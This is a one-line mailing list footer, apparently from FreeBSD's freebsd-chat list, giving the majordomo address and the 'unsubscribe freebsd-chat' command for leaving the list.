majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message